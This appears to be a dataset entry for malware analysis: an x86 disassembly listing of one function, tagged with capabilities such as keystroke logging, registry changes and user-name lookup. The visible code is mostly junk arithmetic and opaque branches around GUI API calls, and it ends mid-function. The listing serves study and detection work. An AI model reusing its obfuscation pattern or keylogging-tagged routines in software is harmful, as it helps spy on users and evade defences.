Function at 0x1002c123
Capabilities:
Check os version
Compare security identifiers
Enumerate gui resources
Get common file path
Get disk information
Get graphical window text
Get session user name
Log keystrokes
Query or enumerate registry key
Query service status
Read .ini file
Resume thread
Set registry value

Disassembly:
mov eax, 0x1007e0e9
call fcn.1007da9c
mov eax, 0x1518
call fcn.1007b0e0
xor eax, eax
mov dword [ebp - 0x1c], 0xe46a6f4d
push ebx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
push esi
push edi
mov byte [ebp - 0x6d], dl
mov dword [ebp - 0x5c], ecx
jge 0x1002c16e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x184], 0xcbad
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002c155
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002c190
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x3e4], 0x52487223
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002c177
xor eax, eax
push 1
pop ebx
cmp dword [ebp - 0x184], eax
je 0x1002c1a5
mov esi, ebx
cmp dword [ebp - 0x180], eax
jne 0x1002c1a7
mov esi, eax
mov ecx, dword [ebp - 0x180]
xor edx, edx
mov eax, dword [ebp - 0x184]
neg ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x180]
sete dl
sub ecx, 0x99a5671
add ecx, edx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp esi, ecx
sete al
imul eax, eax, 0x859b
mov dword [ebp - 0x3e4], eax
mov eax, dword [ebp - 0x3e4]
imul eax, dword [ebp - 0x180]
imul eax, eax, 0x2a0c
test eax, eax
je 0x1002c207
xor eax, eax
cmp dword [ebp - 0x180], eax
je 0x1002c21f
mov eax, ebx
jmp 0x1002c209
xor eax, eax
cmp dword [ebp - 0x180], eax
je 0x1002c21f
xor eax, eax
cmp dword [ebp - 0x180], eax
je 0x1002c221
mov ecx, ebx
jmp 0x1002c223
xor eax, eax
mov ecx, eax
mov edx, dword [ebp - 0x180]
mov edi, dword [sym.imp.USER32.dll_CreateMenu]
neg edx
push 8
sbb edx, edx
xor eax, eax
inc edx
cmp ecx, 0xcbc21b07
pop esi
sete al
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x184]
push 5
setle cl
add eax, ecx
cmp eax, dword [ebp - 0x180]
pop eax
je 0x1002c295
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002c26a
call edi
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c289
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
xor eax, eax
mov dword [ebp - 0x1c], 0xffffffe9
jmp 0x1002c3c8
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002c2c1
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x418], 0x54ba4fda
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002c2a9
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1002c287
mov dword [ebp - 0x18], 0x9d38951f
mov dword [ebp - 0x2c], 0x54f618e1
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x1002c349
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x3e4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x180]
cmp eax, ebx
setne dl
add edx, esi
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov eax, dword [ebp + eax*4 - 0x184]
cmp eax, edx
sete cl
xor edx, edx
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x418]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
mov ecx, dword [ebp + eax*4 - 0x3e4]
mov eax, 0xc6200d40
imul ecx, edx
sub eax, ecx
mov dword [ebp - 0x2c], eax
jne 0x1002c349
dec dword [ebp - 0x18]
jns 0x1002c2df
mov eax, dword [ebp - 0x20]
xor ecx, ecx
push 0
mov eax, dword [ebp + eax*4 - 0x3e4]
cmp eax, 0x35a02a90
mov eax, dword [ebp - 0x418]
setg cl
xor ebx, ebx
cmp ecx, 0xf3bc9f
setne bl
inc eax
cmp esi, eax
sbb eax, eax
xor edx, edx
neg eax
sub ebx, eax
mov eax, dword [ebp - 0x34]
cmp ebx, eax
mov eax, dword [ebp - 0x180]
setl dl
xor ecx, ecx
cmp edx, eax
pop eax
setge cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0x20]
push 1
pop ebx
jns 0x1002c2c9
jmp 0x1002c289
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c3c5
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jg 0x1002c3a5
mov dword [ebp - 0x1c], 0xe46a6f4d
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1002c3f9
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x190], 0xcbad
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1002c3e0
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002c41b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x440], 0x52487223
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002c402
xor eax, eax
cmp dword [ebp - 0x190], eax
je 0x1002c42d
mov esi, ebx
cmp dword [ebp - 0x18c], eax
jne 0x1002c42f
mov esi, eax
mov ecx, dword [ebp - 0x18c]
xor edx, edx
mov eax, dword [ebp - 0x190]
neg ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x18c]
sete dl
sub ecx, 0x99a5671
add ecx, edx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp esi, ecx
sete al
imul eax, eax, 0x859b
mov dword [ebp - 0x440], eax
mov eax, dword [ebp - 0x440]
imul eax, dword [ebp - 0x18c]
imul eax, eax, 0x2a0c
test eax, eax
je 0x1002c48f
xor eax, eax
cmp dword [ebp - 0x18c], eax
je 0x1002c4a7
mov eax, ebx
jmp 0x1002c491
xor eax, eax
cmp dword [ebp - 0x18c], eax
je 0x1002c4a7
xor eax, eax
cmp dword [ebp - 0x18c], eax
je 0x1002c4a9
mov ecx, ebx
jmp 0x1002c4ab
xor eax, eax
mov ecx, eax
mov edx, dword [ebp - 0x18c]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp ecx, 0xcbc21b07
sete al
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x190]
setle cl
add eax, ecx
cmp eax, dword [ebp - 0x18c]
je 0x1002c517
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1002c4e6
call edi
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c505
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
xor eax, eax
push 3
pop esi
push 8
mov dword [ebp - 0x1c], 0xffffffe9
pop ebx
jmp 0x1002c658
push 3
pop esi
push 5
mov dword [ebp - 0x20], esi
pop eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1002c545
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x41c], 0x54ba4fda
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1002c52d
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1002c62e
mov dword [ebp - 0x18], 0x9d38951f
mov dword [ebp - 0x2c], 0x54f618e1
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x1002c5d4
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
push 8
mov eax, dword [ebp + eax*4 - 0x440]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x18c]
cmp eax, ebx
pop eax
setne dl
add edx, eax
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov eax, dword [ebp + eax*4 - 0x190]
cmp eax, edx
sete cl
xor edx, edx
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x41c]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
mov ecx, dword [ebp + eax*4 - 0x440]
mov eax, 0xc6200d40
imul ecx, edx
sub eax, ecx
mov dword [ebp - 0x2c], eax
jne 0x1002c5d4
dec dword [ebp - 0x18]
jns 0x1002c567
mov eax, dword [ebp - 0x20]
xor ecx, ecx
push 8
mov eax, dword [ebp + eax*4 - 0x440]
cmp eax, 0x35a02a90
mov eax, dword [ebp - 0x41c]
setg cl
xor ebx, ebx
cmp ecx, 0xf3bc9f
pop ecx
setne bl
inc eax
cmp ecx, eax
push 0
sbb eax, eax
xor edx, edx
neg eax
sub ebx, eax
mov eax, dword [ebp - 0x34]
cmp ebx, eax
mov eax, dword [ebp - 0x18c]
setl dl
xor ecx, ecx
cmp edx, eax
pop eax
setge cl
mov dword [ebp - 0x2c], ecx
dec dword [ebp - 0x20]
push 1
pop ebx
jns 0x1002c551
xor eax, eax
jmp 0x1002c508
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c655
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jg 0x1002c635
xor ebx, ebx
inc ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002c685
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13b0], 0x7f5aee0c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002c66c
xor eax, eax
mov dword [ebp - 0x28], eax
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x28], eax
jne 0x1002c7a2
mov dword [ebp - 0x30], 0x75286e87
mov dword [ebp - 0x18], 0x88b92280
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002c6c2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd94], 0xc9dffbe5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002c6aa
xor eax, eax
mov dword [ebp - 0x30], 0xb
jmp 0x1002c78d
mov dword [ebp - 0x3c], 0xf8067e3
mov dword [ebp - 0x2c], 0x4142b919
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002c703
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf18], 0x6ce1a812
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002c6eb
xor eax, eax
mov dword [ebp - 0x3c], 0x19
cmp dword [ebp - 0x3c], 9
jg 0x1002c787
mov dword [ebp - 0x24], 0x277ebd00
mov dword [ebp - 0x34], 0xcd17
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002c740
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1340], 0x85734cb4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002c727
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1002c758
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002c756
mov edx, ebx
jmp 0x1002c75a
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
sete cl
cmp ecx, dword [ebp - 0x2c]
jne 0x1002c770
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002c772
mov eax, ebx
mov dword [ebp - 0x24], eax
inc dword [ebp - 0x34]
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 9
push 0
pop eax
jle 0x1002c710
or ecx, 0xffffffff
dec dword [ebp - 0x30]
push 0
pop eax
cmp dword [ebp - 0x30], ecx
jge 0x1002c6ce
inc dword [ebp - 0x28]
push 0
pop eax
je 0x1002c694
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c7ba
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
xor eax, eax
mov dword [ebp - 0x1c], 0x9bdba76a
push 2
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x1002c7e4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x12a0], 7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002c7cc
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x1002c80e
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c803
push 0x12c7
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffW]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1002c7ec
push 2
pop edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x1002c82a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x3f4], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002c816
xor eax, eax
push 5
pop ecx
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], ecx
jle 0x1002c86c
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002c85b
push eax
push 0x64b
push 0xdfc
push eax
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 5
xor eax, eax
pop ecx
inc dword [ebp - 0x3f0]
cmp dword [ebp - 0x3f0], ecx
jg 0x1002c83b
push 2
pop edx
mov dword [ebp - 0x38], 0xe46a6f4d
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x3c], 0xd5b611fb
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002c8a6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe20], 0xb999fb02
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002c88e
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002c8c7
or ecx, 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf48], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002c8b2
xor eax, eax
mov dword [ebp - 0x28], eax
push 0xfffffffffffffff7
pop ecx
cmp dword [ebp - 0x28], ebx
jl 0x1002ca93
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0x2603
mov dword [ebp - 0x34], 9
mov dword [ebp - 0x10], eax
jmp 0x1002c900
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x130], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002c8ef
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xe1c], eax
xor eax, eax
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
jle 0x1002ca84
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002c93b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x4dc], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002c927
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002c951
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1210], 0xfffffff8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002c940
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
dec dword [ebp - 0xf40]
mov eax, dword [ebp - 0x4d8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x4d8]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x120c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
imul ecx, dword [ebp - 0x18], 0xc02d
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setl dl
xor eax, eax
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff8
jl 0x1002ca6f
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002c9ea
or ecx, 0xffffffff
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2a8], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002c9d8
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x1002ca1b
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2a8]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x2a8]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, ebx
push 5
setl cl
xor eax, eax
cmp ecx, 0xb3bd
pop ecx
setle al
cmp eax, ecx
push 0
sbb ecx, ecx
xor edx, edx
neg ecx
mov dword [ebp - 0xe1c], ecx
mov eax, dword [ebp - 0x130]
cmp ecx, eax
mov eax, dword [ebp - 0x4d8]
setg dl
xor ecx, ecx
cmp edx, eax
pop eax
setne cl
mov dword [ebp - 0x2a8], ecx
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff8
jge 0x1002c9cd
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
push 0
pop eax
push 2
pop edx
jg 0x1002c91c
push 0xfffffffffffffff7
pop ecx
inc dword [ebp - 0x28]
push 0
pop eax
cmp dword [ebp - 0x28], ebx
jge 0x1002c8d6
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x30], 0x1928c176
mov dword [ebp - 0x30], eax
jmp 0x1002caf5
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002cac2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x6c0], 4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002caaa
xor eax, eax
mov dword [ebp - 0x6bc], eax
cmp dword [ebp - 0x6bc], 0xfffffff1
jle 0x1002caf2
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x34], 0xbc662a2b
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x6bc]
cmp dword [ebp - 0x6bc], 0xfffffff1
jg 0x1002cad1
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xa
jge 0x1002caa2
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002cb1b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x19c], 0xcbad
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002cb03
xor eax, eax
mov dword [ebp - 0xbe0], 0xf118c84b
mov dword [ebp - 0xbdc], 0xf118c84b
mov dword [ebp - 0xbd8], 0xf118c84b
mov dword [ebp - 0xbd4], 0xf118c84b
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002cb63
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb64], 0x3342eb90
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002cb4b
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002cb7f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1f4], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002cb6b
xor eax, eax
mov dword [ebp - 0x1f0], edx
cmp dword [ebp - 0x1f0], eax
jl 0x1002cc28
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x28], eax
jmp 0x1002cbac
mov dword [ebp - 0x2c], 0xa956
cmp dword [ebp - 0x2c], eax
jne 0x1002cbb1
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jle 0x1002cb9d
mov ecx, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x1f0]
push 0
mov dword [ebp + eax*4 - 0xb64], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1f0]
mov eax, dword [ebp + eax*4 - 0xb64]
mov eax, dword [ebp - 0x1f0]
mov eax, dword [ebp + eax*4 - 0xb64]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x1f0]
cmp eax, 0x37d02268
mov eax, edx
setge cl
sub eax, ecx
mov dword [ebp - 0xbdc], eax
dec dword [ebp - 0x1f0]
pop eax
jns 0x1002cb91
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002cc48
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x408], 0x52487223
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002cc30
xor eax, eax
cmp dword [ebp - 0x19c], eax
je 0x1002cc5a
mov esi, ebx
cmp dword [ebp - 0x198], eax
jne 0x1002cc5c
mov esi, eax
mov ecx, dword [ebp - 0x198]
xor edx, edx
mov eax, dword [ebp - 0x19c]
neg ecx
cmp ecx, eax
mov ecx, dword [ebp - 0x198]
sete dl
sub ecx, 0x99a5671
add ecx, edx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp esi, ecx
sete al
imul eax, eax, 0x859b
mov dword [ebp - 0x408], eax
mov eax, dword [ebp - 0x408]
imul eax, dword [ebp - 0x198]
imul eax, eax, 0x2a0c
test eax, eax
je 0x1002ccbc
xor eax, eax
cmp dword [ebp - 0x198], eax
je 0x1002ccd4
mov eax, ebx
jmp 0x1002ccbe
xor eax, eax
cmp dword [ebp - 0x198], eax
je 0x1002ccd4
xor eax, eax
cmp dword [ebp - 0x198], eax
je 0x1002ccd6
mov ecx, ebx
jmp 0x1002ccd8
xor eax, eax
mov ecx, eax
mov edx, dword [ebp - 0x198]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp ecx, 0xcbc21b07
sete al
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x19c]
mov edx, 0xffff
setle cl
add eax, ecx
cmp eax, dword [ebp - 0x198]
je 0x1002ced7
mov dword [ebp - 0x20], 0x632667a8
xor eax, eax
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x40], 0x2aa787d3
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x1002cd4b
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xe4], 0x99ff
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x1002cd33
xor eax, eax
push 3
mov dword [ebp - 0x38], eax
pop esi
cmp dword [ebp - 0x38], esi
jge 0x1002cd6e
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xbc4], 0x91ba8027
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x1002cd56
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jge 0x1002cd8e
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x8a0], 0xb88dcfd8
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x1002cd76
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x1002ce9c
mov dword [ebp - 0x18], 0xfffffff6
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xe4]
mov dword [ebp - 0x34], 0xfffffffb
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xe4]
cmp dword [ebp - 0x34], eax
jl 0x1002cdef
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xe4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xe4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xe4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0xe4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xbc4], ebx
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x898], eax
add eax, 0xffff9dd5
je 0x1002ce1d
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002ce9a
jmp 0x1002ce3d
mov dword [ebp - 0x10], 0xa
cmp dword [ebp - 0x10], 0xffffffec
jl 0x1002ce3b
mov eax, dword [ebp - 0xbc0]
mov dword [ebp - 0x898], eax
dec dword [ebp - 0x10]
jmp 0x1002ce24
xor eax, eax
cmp dword [ebp - 0x8a0], eax
jne 0x1002ce81
mov eax, dword [ebp - 0x10]
dec eax
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0xbc4], eax
je 0x1002ce6b
mov ecx, dword [ebp - 0x898]
mov eax, dword [ebp - 0x24]
imul ecx, eax
cmp dword [ebp - 0x18], ecx
jle 0x1002ce6b
mov ecx, ebx
jmp 0x1002ce6f
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, edx
setne al
cmp eax, dword [ebp - 0x18]
jne 0x1002ce81
xor eax, eax
mov ecx, eax
jmp 0x1002ce83
mov ecx, ebx
mov eax, dword [ebp - 0x898]
sub ecx, eax
mov dword [ebp - 0x10], ecx
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x1002cd9a
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002cea9
call edi
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1002cec8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
xor eax, eax
push 8
mov dword [ebp - 0x38], 0xffffffe9
pop ecx
jmp 0x1002d015
push 3
pop esi
push 5
mov dword [ebp - 0x20], esi
pop eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002cf05
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x40c], 0x54ba4fda
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002ceed
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1002cec6
mov dword [ebp - 0x18], 0x9d38951f
mov dword [ebp - 0x2c], 0x54f618e1
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], eax
jl 0x1002cf90
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
push 8
mov eax, dword [ebp + eax*4 - 0x408]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x198]
cmp eax, ebx
pop eax
setne dl
add edx, eax
sub edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov eax, dword [ebp + eax*4 - 0x19c]
cmp eax, edx
sete cl
xor edx, edx
sub ecx, dword [ebp - 0x20]
